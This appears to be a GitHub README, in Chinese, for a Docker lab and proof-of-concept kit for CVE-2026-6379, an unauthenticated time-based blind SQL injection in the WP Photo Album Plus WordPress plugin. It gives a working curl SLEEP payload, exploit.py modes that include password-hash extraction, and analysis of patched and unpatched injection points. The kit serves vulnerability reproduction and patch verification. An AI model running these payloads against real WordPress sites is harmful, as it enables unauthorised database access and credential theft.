dinosn/cve-2026-6379

GitHub: dinosn/cve-2026-6379

提供WP Photo Album Plus插件未授权SQL注入漏洞的Docker实验环境与时间盲注PoC工具包。

Stars: 0 | Forks: 0

# CVE-2026-6379 — WP Photo Album Plus < 9.1.11.001 — 未授权SQL注入 **参数:** `wppa-supersearch` **严重程度:** CVSS 8.6(高)WPScan/Wordfence评定 **厂商修复:** 2026-04-17(WordPressBugBounty镜像中的提交 `d2b0d05d`) **公开披露:** 2026-04-27(WPScan) 本工具包提供一个独立的Docker实验环境和一个可用的PoC,帮助您端到端地复现、验证和演示该漏洞。 ## 简述 ``` # 在实验室主机上: cd lab && ./setup.sh # 当安装程序打印"=== LAB READY ==="并带有page_id时: python3 ../pocs/exploit.py "http://:8080/?page_id=" --mode probe python3 ../pocs/exploit.py "http://:8080/?page_id=" --mode probe-calendar python3 ../pocs/exploit.py "http://:8080/?page_id=" --mode version python3 ../pocs/exploit.py "http://:8080/?page_id=" --mode hash ``` 易受攻击的目标会在约5秒后回复SLEEP探测;已修复的目标回复时间<1秒。 手动单行检查: ``` curl -sS -o /dev/null -w "%{time_total}\n" \ "http://:8080/?page_id=&wppa-occur=1&wppa-supersearch=,o,,x%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))A)--%20-" ``` ## 布局 ``` cve-2026-6379-wppa/ ├── README.md # this file ├── docs/ │ ├── writeup.md # root-cause + patch analysis │ └── prompts.md # AI-research prompts that distilled this kit ├── lab/ │ ├── docker-compose.yml # WordPress 6.5 + MySQL 8 + WPPA+ 9.1.10.011 │ ├── setup.sh # bring-up / tear-down / purge │ └── init/install.sh # idempotent installer (wp-cli) └── pocs/ ├── exploit.py # time-based blind SQLi (probe / version / user / hash) └── test_oracle.sh # end-to-end integration test ``` ## 漏洞原理(简述) `wppa_get_photos()` 将请求参数 `wppa-supersearch` 解析为CSV格式 `s1,type,s3,DATA`。当 `type='o'`(所有者)时,`DATA` 被直接拼接到SQL字符串中: ``` $query = "SELECT id FROM $wpdb->wppa_photos WHERE owner = '" . $data . "' AND album > 0 ORDER BY $order"; ``` 没有转义,没有 `$wpdb->prepare`。设置 `wppa-supersearch=,o,,x' OR (...)-- -` 可以转义引号包围的所有者并执行任意SQL。该端点是托管 `[wppa]` 短码的公开前端页面,因此**无需认证**。 修复方案将所有之前直接拼接的情况都包装在 `$wpdb->prepare(..., %s)` 中。 ## 同一补丁修复的注入点(提交 `d2b0d05d`) CVE-2026-6379补丁重写了 `wppa-functions.php` 中 `wppa_get_photos()` 内的**六个**不同的SQL注入点。两种PoC模式(`probe` 和 `probe-calendar`)分别命中独立的注入点;其他注入点的区别仅在于payload形态。所有注入点都无需认证,可通过相同的 `wppa-occur=N` 门控到达主注入点。 | # | 注入点(漏洞行) | 触发参数 | PoC模式 | |---|---|---|---| | 1 | **owner** — `WHERE owner = '$data'`(第1244行) | `wppa-supersearch=,o,,…` | `--mode probe`(已实时验证) | | 2 | **name** — `WHERE sname = ''`(第1237行) | `wppa-supersearch=,n,,…` | 未被利用(slug过滤器去除引号) | | 3 | **tag** — `WHERE tags LIKE '%$d%'`(第1254行) | `wppa-supersearch=,g,,…` | 受 `wppa_sanitize_tags()` 限制 | | 4 | **日历 `exifdtm`** — `WHERE exifdtm LIKE '%'`(第1361行) | `wppa-calendar=exifdtm&wppa-caldate=…` | `--mode probe-calendar`(已实时验证) | | 5 | **日历 `timestamp`** — `WHERE timestamp >= $t1 AND timestamp < $t2`(第1368行) | `wppa-calendar=timestamp&wppa-caldate=…` | 数值强制转换(`intval`)— 受限 | | 6 | **日历 `modified`** — 同 `timestamp`(第1375行) | `wppa-calendar=modified&wppa-caldate=…` | 数值强制转换 — 受限 | 第4–6项也在同一提交中移除了悬空的 `ORDER BY $order` 片段——见下文"相关加固"。 ## 发现的其他与CVE-2026-6379相关的问题 对同一漏洞版本的 `wppa-functions.php` 进行更广泛审计,发现了CVE-2026-6379补丁之外的注入点。这些不是WPScan/Wordfence公开的内容,且并非所有都同等可利用,但已记录在此,以便该实验环境也可用于变体挖掘。 ### `stripslashes( $wpdb->prepare( ... IN (%s) ... ) )` — 可能为单独漏洞 **状态:** 存在于9.1.11.001(补丁后)。未被 `d2b0d05d` 修复。 可能为后续CVE。 `%s` 对逗号分隔的 `IN` 列表无效(它始终输出一个带引号的字符串)。该插件通过将预处理语句包装在 `stripslashes()` 中来规避这个问题,这会移除 `prepare()` 刚添加的转义——如果列表元素被攻击者污染,则会重新打开注入通道。 代表性出现位置:`wppa-functions.php` 第660、711、831、838、889、895、900、971、1028、1034、1041、1122、1144、1190、1410、1414、1465、1470、1476、1481、1491行。 变体分析查询: ``` docker exec cve26-6379-wp grep -n "stripslashes( \$wpdb->prepare" \ /var/www/html/wp-content/plugins/wp-photo-album-plus/wppa-functions.php ``` ### `ORDER BY $order` — 部分修复 补丁从日历/IN子句注入点中移除了 `ORDER BY $order`,但在其他位置保留了它。`$order` 来自插件运行时状态(设置表)——可利用性需要对该状态的写入路径。视为加固项。 ### `wp_strip_all_tags()` 用作SQL净化器(#4的变体) `wp_strip_all_tags` 剥离HTML,而非SQL。无论何时它在带引号的SQL片段周围出现,该片段都是可注入的。除 `caldate` 外,审计任何在拼接前流经此函数的其他请求值。 ## 验证矩阵 | 状态 | `probe` | `probe-calendar` | |------|---------|------------------| | 易受攻击(9.1.10.011)| `[+] VULNERABLE — ~5.0s ≥ 3.5s` | `[+] VULNERABLE — ~5.0s ≥ 3.5s` | | 已修复(9.1.11.001)| `[-] Not confirmed — ~0.04s` | `[-] Not confirmed — ~0.04s` | | 插件已禁用 | `[-] Not confirmed — ~0.04s` | `[-] Not confirmed — ~0.04s` | | 页面无 `[wppa]` 短码 | `[-] Not confirmed — ~0.04s` | `[-] Not confirmed — ~0.04s` | 在运行中的实验环境切换版本: ``` # 已修补: docker exec cve26-6379-wp wp --path=/var/www/html --allow-root \ plugin install wp-photo-album-plus --version=9.1.11.001 --force --activate \ --allow-root || true # 重新运行probe;应为阴性。 ``` ## 安全注意事项 * **仅在隔离网络中运行。**该漏洞无需认证。 * 实验环境使用默认WP凭据 `admin / adminadmin` — 切勿暴露到互联网。 * 使用 `./setup.sh purge` 清理(会删除数据库卷)。 ## 参考资料 * WPScan: * 补丁提交: * `wppa-functions.php`(漏洞版本): * `wppa-functions.php`(修复版本):
标签:CISA项目, CVE-2026-6379, Docker, PoC, Web安全, WordPress, WP Photo Album Plus, 安全防御评估, 文件完整性监控, 时间盲注, 暴力破解, 未认证漏洞, 漏洞分析, 漏洞复现, 网络安全, 蓝队分析, 请求拦截, 路径探测, 隐私保护, 靶场环境